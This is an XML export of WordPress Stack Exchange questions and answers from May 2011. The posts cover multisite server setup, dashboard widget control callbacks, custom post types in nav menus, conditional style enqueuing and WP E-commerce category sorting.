  <row Id="16465" PostTypeId="1" CreationDate="2011-05-05T16:50:20.493" Score="1" ViewCount="205" Body="&lt;p&gt;I plan to host up to 1000 sites for a large non-profit. Each site could get quite a bit of traffic. What is the ideal setup? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VPS, *ngix, mem-cache etc? &lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-05-12T10:33:27.453" Title="Ideal WP multisite server setup for up to 1000 sites?" Tags="&lt;multisite&gt;&lt;vps&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" />
  <row Id="16466" PostTypeId="1" AcceptedAnswerId="16477" CreationDate="2011-05-05T17:00:17.183" Score="0" ViewCount="59" Body="&lt;p&gt;On this page: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_add_dashboard_widget&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_add_dashboard_widget&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;strong&gt;wp_add_dashboard_widget&lt;/strong&gt; is described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It states:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_add_dashboard_widget($widget_id, $widget_name, $callback, $control_callback = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you use the $control_callback, properly? I am completeley stuck, as I have defined it but cannot use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a form within this widget which is why I am using the control_callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; as a side note I am using Wordpress 3 and Multisite&lt;/p&gt;&#xA;" OwnerUserId="4816" LastEditorUserId="4816" LastEditorDisplayName="" LastEditDate="2011-05-05T17:27:50.390" LastActivityDate="2011-05-05T18:15:10.740" Title="How do I use the control callback when creating a simple dashboard plugin" Tags="&lt;widgets&gt;&lt;dashboard&gt;&lt;callbacks&gt;" AnswerCount="2" />
  <row Id="16467" PostTypeId="1" CreationDate="2011-05-05T17:05:26.103" Score="0" ViewCount="224" Body="&lt;p&gt;Am running 3.1.2 with multisite switched on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've upload plugin files and folders to wp-content/plugins/ but they aren't showing up anywhere - either in subsite admin areas or the network admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No errors are appearing either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5148" LastActivityDate="2011-09-03T15:40:56.133" Title="Plugins not showing up anywhere!" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="16468" PostTypeId="2" ParentId="16466" CreationDate="2011-05-05T17:05:53.027" Score="0" ViewCount="" Body="&lt;p&gt;Do you need to handle form/input data? If not, then you can omit the &lt;code&gt;$control_Callback&lt;/code&gt;, and simply use the &lt;code&gt;$callback&lt;/code&gt; in order to display content.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T17:05:53.027" CommentCount="1" />
  <row Id="16469" PostTypeId="2" ParentId="16249" CreationDate="2011-05-05T17:11:52.993" Score="0" ViewCount="" Body="&lt;p&gt;thanks Jan - it was the 'more fields' plugin and the temp plugin fix is here;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-more-fields-media-library-only-shows-5-images-at-a-time-and-not-10?replies=10&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-more-fields-media-library-only-shows-5-images-at-a-time-and-not-10?replies=10&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-05-05T17:11:52.993" />
  <row Id="16470" PostTypeId="2" ParentId="15993" CreationDate="2011-05-05T17:41:09.517" Score="1" ViewCount="" Body="&lt;p&gt;Upon a google search it is possible to round corners with GD but the results aren't the greatest; they're a bit jaggy; but that's a subjective call on my part: &lt;a href=&quot;http://www.assemblysys.com/dataServices/php_roundedCorners.php&quot; rel=&quot;nofollow&quot;&gt;http://www.assemblysys.com/dataServices/php_roundedCorners.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must do this; i recommend using the timthumb script as a starting point: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Timthumb project:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://timthumb.googlecode.com&quot; rel=&quot;nofollow&quot;&gt;http://timthumb.googlecode.com&lt;/a&gt;&#xA;http://timthumb.googlecode.com/svn/trunk/timthumb.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stackoverflow also has a post about this:&lt;/strong&gt; &lt;a href=&quot;http://stackoverflow.com/questions/609109/rounded-corners-on-images-using-php&quot;&gt;http://stackoverflow.com/questions/609109/rounded-corners-on-images-using-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-05-05T17:47:40.217" LastActivityDate="2011-05-05T17:47:40.217" />
  <row Id="16471" PostTypeId="1" CreationDate="2011-05-05T17:54:11.833" Score="0" ViewCount="91" Body="&lt;p&gt;Please see here: &lt;a href=&quot;http://www.dearearth.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.dearearth.net/&lt;/a&gt; The jQuery plugin page with demo: &lt;a href=&quot;http://www.ajaxblender.com/bgstretcher-2-jquery-stretch-background-plugin-updated.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ajaxblender.com/bgstretcher-2-jquery-stretch-background-plugin-updated.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue appears in &lt;strong&gt;Safari&lt;/strong&gt; and &lt;strong&gt;Chrome&lt;/strong&gt; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To replicate the issue:&lt;/strong&gt; While in either browser, try to dynamically resize the window size, and notice how under certain aspect ratios, the background is pushed down about 20px or so, revealing the bg color..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? This does not happen in the demo...:/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2011-05-06T02:11:12.853" ClosedDate="2011-05-06T18:19:50.290" Title="bgStretcher jQuery plugin adds space above bg image only on certain aspect ratios - possibly quick fix" Tags="&lt;jquery&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16472" PostTypeId="1" CreationDate="2011-05-05T17:56:02.147" Score="0" ViewCount="46" Body="&lt;p&gt;Anyone have recommendations for wordpress plugins that can scale easily and integrates with Wordpress' new custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not interested in themes as discussed here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26/real-estate-website-with-word-press&quot;&gt;Real Estate website with Word Press&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-05T17:56:02.147" Title="Wordpress plugin for real estate that scales?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;" CommentCount="3" FavoriteCount="1" />
  <row Id="16473" PostTypeId="2" ParentId="16378" CreationDate="2011-05-05T17:59:21.457" Score="1" ViewCount="" Body="&lt;p&gt;There's a post here that's very good about load optimization and performance: &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/steps-to-optimize-wordpress-in-regard-to-server-load&quot;&gt;Steps to Optimize WordPress in Regard to Server Load?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be a good idea to also utilize a CDN for a majority of your page requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want performance you'll have to minimize requests to your database and setup aggressive caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with Drupal i know this can be built into your drupal install. I'm not very familiar with Wordpress and if there are capabilities integrated into Wordpress to facilitate reverse proxy requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to use mem-cache you may need more Ram to serve up the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to also setup varnish on your server. Setting up varnish alone will give you a big boost; as i've been told.&#xA;Varnish &lt;a href=&quot;http://www.varnish-cache.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.varnish-cache.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-05-05T18:08:30.267" LastActivityDate="2011-05-05T18:08:30.267" CommentCount="1" />
  <row Id="16474" PostTypeId="1" CreationDate="2011-05-05T18:01:14.307" Score="0" ViewCount="94" Body="&lt;p&gt;I'm working on a plugin, and part of it involves setting an option value that applies to all sites in a WordPress network.  I know about the &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/add_site_option&quot; rel=&quot;nofollow&quot;&gt;add_site_option&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/get_site_option&quot; rel=&quot;nofollow&quot;&gt;get_site_option&lt;/a&gt; functions that let you save the value into the wp_sitemeta table, but what I can't figure out is how to place the fields in the appropriate place in the WordPress backend, and how to intercept the saving of sitewide values in order to insert the add_site_option call when that happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first problem (adding the fields), I would normally use the Settings API, specifically &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;register_setting&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_field&quot; rel=&quot;nofollow&quot;&gt;add_settings_field&lt;/a&gt;, to whitelist the new option and then insert a field for it into the appropriate options page.  But I can't find information anywhere on whether you can use add_settings_field to add a field to the Settings page in the new Network Admin section of the backend, if there's an alternative function that does what it does for Network Admin pages, or if you just have to inject the HTML manually. (You can do it manually by writing a function that echoes out the field and then connecting that function to the &quot;wpmu_options&quot; action, which gets run at the end of the Settings page in Network Admin. But then you also have to deal with nonces and everything else manually.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem probably involves finding an action that runs when the user hits &quot;Save&quot; on the Network Admin Settings page, but I've been unable to find that yet.  Any leads would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So -- thoughts?  Is there an elegant way to allow management of sitewide options for a plugin through the new Network Admin area?  If so, how's it done?&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2011-05-05T18:01:14.307" Title="How to add field for new site-wide option on Network Settings screen?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;options&gt;&lt;settings&gt;&lt;network-admin&gt;" />
  <row Id="16475" PostTypeId="2" ParentId="16452" CreationDate="2011-05-05T18:04:03.430" Score="0" ViewCount="" Body="&lt;p&gt;think its: $wp_query-&gt;query_vars['orderby'].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can dump all the query string variables by var_dump($wp_query-&gt;query_vars); It should be in there.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-05-05T18:04:03.430" CommentCount="2" />
  <row Id="16476" PostTypeId="2" ParentId="13573" CreationDate="2011-05-05T18:11:19.737" Score="0" ViewCount="" Body="&lt;p&gt;This image is invaluable; make sure you print it out and keep it around your desk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/images/thumb/1/18/Template_Hierarchy.png/750px-Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/images/thumb/1/18/Template_Hierarchy.png/750px-Template_Hierarchy.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-05T18:11:19.737" />
  <row Id="16477" PostTypeId="2" ParentId="16466" CreationDate="2011-05-05T18:15:10.740" Score="0" ViewCount="" Body="&lt;p&gt;Solution : hover on the title bar of your widget, then click &lt;strong&gt;configure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't ask me why this works like this but it does. &lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-05-05T18:15:10.740" />
  <row Id="16478" PostTypeId="2" ParentId="16467" CreationDate="2011-05-05T18:21:16.750" Score="0" ViewCount="" Body="&lt;p&gt;Some cheap /quick (less time consuming) tricks to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;renaming your plugin folder&lt;/li&gt;&#xA;&lt;li&gt;adjusting permissions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-05T18:21:16.750" CommentCount="2" />
  <row Id="16479" PostTypeId="2" ParentId="16471" CreationDate="2011-05-05T18:30:34.347" Score="0" ViewCount="" Body="&lt;p&gt;I've tinkered with the online html and the culprit seems to be on this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;img-loaded bgs-current&quot; style=&quot;z-index: 1; overflow-x: hidden; overflow-y: hidden; width: 1203px; height: 754px; display: list-item; &quot;&amp;gt;&amp;lt;img src=&quot;http://www.dearearth.net/wp-content/uploads/2011/05/home_bg1.jpg&quot; alt=&quot;&quot; style=&quot;margin-left: 0px; margin-top: 0px; width: 1206px; height: 754px; &quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i remove the width or change the list-type to inline the blank space goes away. Im guessing this is written by the bg stretcher software. You can try overriding the default inline style with an important clause but im not sure if that would work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bgs-current {&#xA;display: inline !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope it helps&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-05-05T18:30:34.347" CommentCount="1" />
  <row Id="16480" PostTypeId="2" ParentId="16467" CreationDate="2011-05-05T18:40:27.610" Score="0" ViewCount="" Body="&lt;p&gt;Could it be that the plugin is nested inside a subfolder, like so:&#xA;wp-content/plugins/plugin-name/plugin-name/plugin-name.php&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-05-05T18:40:27.610" CommentCount="2" />
  <row Id="16481" PostTypeId="2" ParentId="15570" CreationDate="2011-05-05T18:59:09.960" Score="0" ViewCount="" Body="&lt;p&gt;Just throwing this out there: I had a similar problem once where a taxonomy was not available at the time my function was running. This could either be a problem with wp ecommerce or the broadcast plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the wp ecommerce plugin uses this syntax for registering their taxonomy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'taxonomy_function_name', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check if they appended the ,0. This sets the  priority of the taxonomy function to 0. Which would be as early as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set priority for the broadcast hook? &lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-05-05T19:04:45.880" LastActivityDate="2011-05-05T19:04:45.880" CommentCount="4" />
  <row Id="16482" PostTypeId="1" CreationDate="2011-05-05T19:22:29.267" Score="2" ViewCount="69" Body="&lt;p&gt;I am having a bit of a problem with my custom post types. I can create them fine in my theme, but I cannot get them to show up in the 'Menu' screen ... at least not by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding menu and UI flags to my code (see below), but no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly enough, when I enable the Custom Post Types UI plugin, the custom post types appear fine (sometimes) in the 'Menu' screen. This seems to suggest to me that there is a step that I am missing somewhere, and that somehow, the Custom Post Types UI plugin sets that flag, and allows my custom post type, and taxonomies to appear in the nav-menus.php 'Menu' screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:: The bit above has been answered. Thank you Milo. I should have been turning them on in the 'Screen Option' tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a related note, is there a way of getting the custom post type available as a menu item without using a taxonomy? I'll try and explain. In this instance, I created a portfolio post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. When it does appear in the nav-menus.php, I can select individual pages to add to the menu. This is not ideal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Alternatively, I can assign the portfolio pages to a category (let's call it Widgets), and all pages assigned to widgets appear on the archive page. This raises another question, can I force the assigning of every new portfolio page to at least one default category, like the 'Posts' behave in WP? This solution works most of the time, till someone forgets to assign a category to a new portfolio page ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. The third option, is to use the rewrite slug, and just create a custom menu item, point to (in this case) '/portfolio/'. This works fine with my permalinks. However, WordPress does then not add '.current-post-item', or '.current-menu-parent' or '.current-post-parent' classes to this menu item when viewing a portfolio page, meaning that I cannot use CSS to highlight the 'Portfolio' menu entry when viewing portfolio pages, like I can with all the other pages/subpages and posts on the site. While this is not an overly big deal, it does mean a less than consistent UI experience for site visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for registering the custom post types. As you can see, I have been adding a ton of the 'show_in_...' flags, but to no avail. I have tried removing the flags, adding them one at a time and testing (with a clean database each time), but to no avail. As I pointed out above, that the Custom Post Types UI plugin seems to enable this behaviour (most of the time), seems to suggest that I am missing a step outside this registration code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'toshihiro_register_portfolio_content_type');&#xA;function toshihiro_register_portfolio_content_type(){&#xA;    register_post_type('tosh_portfolio',&#xA;    array(&#xA;         'labels' =&amp;gt; array (&#xA;             'name' =&amp;gt; 'Portfolio Pages',&#xA;             'singular_name' =&amp;gt; 'Portfolio Page',&#xA;             'menu_name' =&amp;gt; 'Portfolios',&#xA;             'add_new' =&amp;gt; 'Create Portfolio Page',&#xA;             'add_new_item' =&amp;gt; 'Create New Portfolio Page',&#xA;             'edit' =&amp;gt; 'Edit Portfolio Page',&#xA;             'edit_item' =&amp;gt; 'Edit Portfolio Page',&#xA;             'new_item' =&amp;gt; 'New Portfolio Page',&#xA;             'view' =&amp;gt; 'View Portfolio Page',&#xA;             'view_item' =&amp;gt; 'View Portfolio Page',&#xA;             'search_items' =&amp;gt; 'Search Portfolio Pages',&#xA;             'not_found' =&amp;gt; 'No Portfolio Pages Found',&#xA;             'not_found_in_trash' =&amp;gt; 'No Portfolio Pages found in Trash',&#xA;         ),&#xA;        'description' =&amp;gt; 'Portfolio or product or project pages',&#xA;        'supports' =&amp;gt; array('title', 'editor', 'excerpt', 'revisions', 'thumbnail'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'can_export' =&amp;gt; true,&#xA;        'menu_icon' =&amp;gt; trailingslashit(TOSH_IMAGES_URI) . 'toshihiro_icon.png',&#xA;        'menu_position' =&amp;gt; 33,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'portfolio'),&#xA;    )&#xA;);&#xA;register_taxonomy('tosh_cat_port',array (0 =&amp;gt; 'tosh_portfolio',),array( 'hierarchical' =&amp;gt; true,&#xA;                                                            'label' =&amp;gt; 'Portfolio Categories',&#xA;                                                            'singular_label' =&amp;gt; 'Portfolio Category',&#xA;                                                            'show_ui' =&amp;gt; true,&#xA;                                                            'query_var' =&amp;gt; true,&#xA;                                                            'show_in_nav_menus' =&amp;gt; true,&#xA;                                                            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'portfolio_cat'),&#xA;                                                             ) );&#xA;register_taxonomy('tosh_tag_port',array (0 =&amp;gt; 'tosh_portfolio',),array( 'hierarchical' =&amp;gt; false,&#xA;                                                            'label' =&amp;gt; 'Portfolio Tags',&#xA;                                                            'singular_label' =&amp;gt; 'Portfolio Tag',&#xA;                                                            'show_ui' =&amp;gt; true,&#xA;                                                            'show_in_nav_menus' =&amp;gt; true,&#xA;                                                            'query_var' =&amp;gt; true,&#xA;                                                            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'portfolio_tags'),&#xA;                                                             ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5150" LastEditorUserId="5150" LastEditorDisplayName="" LastEditDate="2011-05-05T20:34:38.750" LastActivityDate="2011-05-05T20:34:38.750" Title="How can I get my Custom Post Types to appear in nav-menus.php 'Menu'?" Tags="&lt;custom-post-types&gt;&lt;menus&gt;" CommentCount="2" />
  <row Id="16483" PostTypeId="1" CreationDate="2011-05-05T20:21:36.410" Score="0" ViewCount="329" Body="&lt;p&gt;I'm running Wordpress 3.1, with the WP E-commerce plugin (3.8.2) with Gold Cart 2.9.1. I posted this question a while back on the getshopped.org forum, with no solution unfortunately...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of product categories on my store products page (not the category widget), and I would like to change the order to sort the categories by their ID, not their names. At the moment, they are sorted alphabetically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a possible solution here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getshopped.org/forums/topic.php?id=7200&quot; rel=&quot;nofollow&quot;&gt;http://getshopped.org/forums/topic.php?id=7200&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried all these fixes to no avail, particularly the &quot;order_by&quot; fix by leewillis77 about a year ago. I have just realised the structure of the database of version 3.8 has completely changed too, so I expect this is the reason this fix isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like a fix that doesn't edit any core files so when the next update comes along nothing changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't share my site as it's local at the mo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help!&#xA;Many thanks&#xA;Paul &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS My PHP skills are pretty limited, as is my experience with MYSQL so dumbdown solutions a bit please ;-)&lt;/p&gt;&#xA;" OwnerUserId="5151" LastActivityDate="2011-09-03T05:40:47.653" Title="WP E-Commerce WPEC 3.8 Sort Categories" Tags="&lt;categories&gt;&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;" AnswerCount="1" />
  <row Id="16484" PostTypeId="2" ParentId="16406" CreationDate="2011-05-05T20:49:48.700" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics by Yoast&lt;/a&gt; has &lt;em&gt;Custom Code&lt;/em&gt; setting to add stuff to tracking code. But says that it is added before &lt;code&gt;trackPageview&lt;/code&gt;, while &lt;a href=&quot;http://www.google.com/support/analyticshelp/bin/answer.py?hl=en&amp;amp;answer=1205784&amp;amp;topic=1120718&quot; rel=&quot;nofollow&quot;&gt;site speed instructions&lt;/a&gt; show it added after. Might or might not matter, I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin has been updated to &lt;a href=&quot;http://yoast.com/site-speed-tracking-in-google-analytics/&quot; rel=&quot;nofollow&quot;&gt;support (and default to) site speed tracking&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-09T17:24:20.657" LastActivityDate="2011-05-09T17:24:20.657" CommentCount="1" />
  <row Id="16485" PostTypeId="1" CreationDate="2011-05-05T20:59:01.237" Score="0" ViewCount="20" Body="&lt;p&gt;My blog posts tend to be more living document than &quot;published/unpublished.&quot;  I'd like to add a rich commenting and editing system so it's more like a brainstorming jam than an authored doc or wikipedia entry.  I'd like to invite all viewer to leave sticky notes anywhere on the page.  Just click and if the click is not handled else where, a post-it appears.  post-its can be private between viewer and myself or public to everyone.  Anonymous comments allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anything like this exist?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2011-05-05T20:59:01.237" Title="Plugin for editorial feedbeck" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;jquery&gt;" />
  <row Id="16486" PostTypeId="1" AcceptedAnswerId="16493" CreationDate="2011-05-05T21:31:19.600" Score="0" ViewCount="52" Body="&lt;p&gt;How can I do that? So far the admin can only add exisiting users.&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2011-05-05T23:23:58.663" Title="I'm a super admin and I want to give an admin the ability to add new users...?" Tags="&lt;admin&gt;&lt;users&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="16487" PostTypeId="1" AcceptedAnswerId="16490" CreationDate="2011-05-05T21:52:28.403" Score="0" ViewCount="125" Body="&lt;p&gt;it is causing problem because i did not do it before. I am trying to enqueue style or may be scripts depending on page. But it not working. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_enqueue_styles');&#xA;&#xA;function my_enqueue_styles(){&#xA;    if(is_page('Add Event')){ // also tried slug, page id and wp_reset_query(); bot not worked&#xA;&#xA;    wp_deregister_style( 'jquery-ui-custom-flick' );&#xA;    wp_register_style( 'jquery-ui-custom-flick', get_bloginfo('template_directory') .'/styles/jquery.ui/ui.custom.flick.css');&#xA;    wp_enqueue_style( 'jquery-ui-custom-flick' );&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not doing the conditional right. The script works without the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;RESOLVED:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem was with the &lt;code&gt;init&lt;/code&gt; action hook. the conditional &lt;code&gt;is_page()&lt;/code&gt; is false when &lt;code&gt;init&lt;/code&gt; is called. After adding the style to the hook &lt;code&gt;wp_print_styles&lt;/code&gt; it worked perfectly.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-05-06T09:06:14.677" LastActivityDate="2011-05-06T09:06:14.677" Title="Enqueue Style for a page/pages only" Tags="&lt;wp-enqueue-script&gt;&lt;wp-enqueue-style&gt;" AnswerCount="1" />
  <row Id="16488" PostTypeId="2" ParentId="16486" CreationDate="2011-05-05T22:02:06.773" Score="0" ViewCount="" Body="&lt;p&gt;According to the N&lt;a href=&quot;http://codex.wordpress.org/Network_Admin_Users_Screen&quot; rel=&quot;nofollow&quot;&gt;etwork Admin section&lt;/a&gt; of WordPress (which is also what the &quot;super admin is&quot;. You need to add the user first, and then specify which site within the network they will be a part of. I assume you can assign the role within that network at that time.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-05-05T22:02:06.773" />
  <row Id="16489" PostTypeId="2" ParentId="16486" CreationDate="2011-05-05T22:02:20.203" Score="0" ViewCount="" Body="&lt;p&gt;Admins should already have to ability to add users to there own sites..&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-05T22:02:20.203" />
  <row Id="16490" PostTypeId="2" ParentId="16487" CreationDate="2011-05-05T22:17:02.387" Score="1" ViewCount="" Body="&lt;p&gt;It &lt;em&gt;should&lt;/em&gt; work like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidenotes: I don't know why you deregister a stylesheet and register it again. Also: &lt;code&gt;get_bloginfo('template_directory')&lt;/code&gt; is now replaced by &lt;code&gt;get_template_directory_uri()&lt;/code&gt;. Third: Are your folders really named with dots in between? Maybe this causes problems. And maybe your ui stylesheet is an dependency of the main jquery ui stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should also start accepting answers on your questions. Your &quot;accept rate&quot; of 67% will people hold back from answering your Qs.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_16487_enqueue_styles()&#xA;{&#xA;    if ( is_page('Add Event') ) // also tried slug, page id and wp_reset_query(); bot not worked&#xA;    { &#xA;        wp_register_style( 'jquery-ui-custom-flick', get_template_directory_uri().'/styles/jquery-ui/ui-custom-flick.css', 'jquery-ui' );&#xA;        wp_enqueue_style( 'jquery-ui-custom-flick' );&#xA;    }&#xA;}&#xA;add_action( 'wp_print_styles', 'wpse_16487_enqueue_styles' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If something's not working, you should start debugging your wp query: &lt;code&gt;echo '&amp;lt;pre&amp;gt;'; print_r($GLOBALS['wp_query']); echo '&amp;lt;/pre&amp;gt;';&lt;/code&gt; and check for the page name/slug to register it.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-05T22:22:58.110" LastActivityDate="2011-05-05T22:22:58.110" CommentCount="3" />
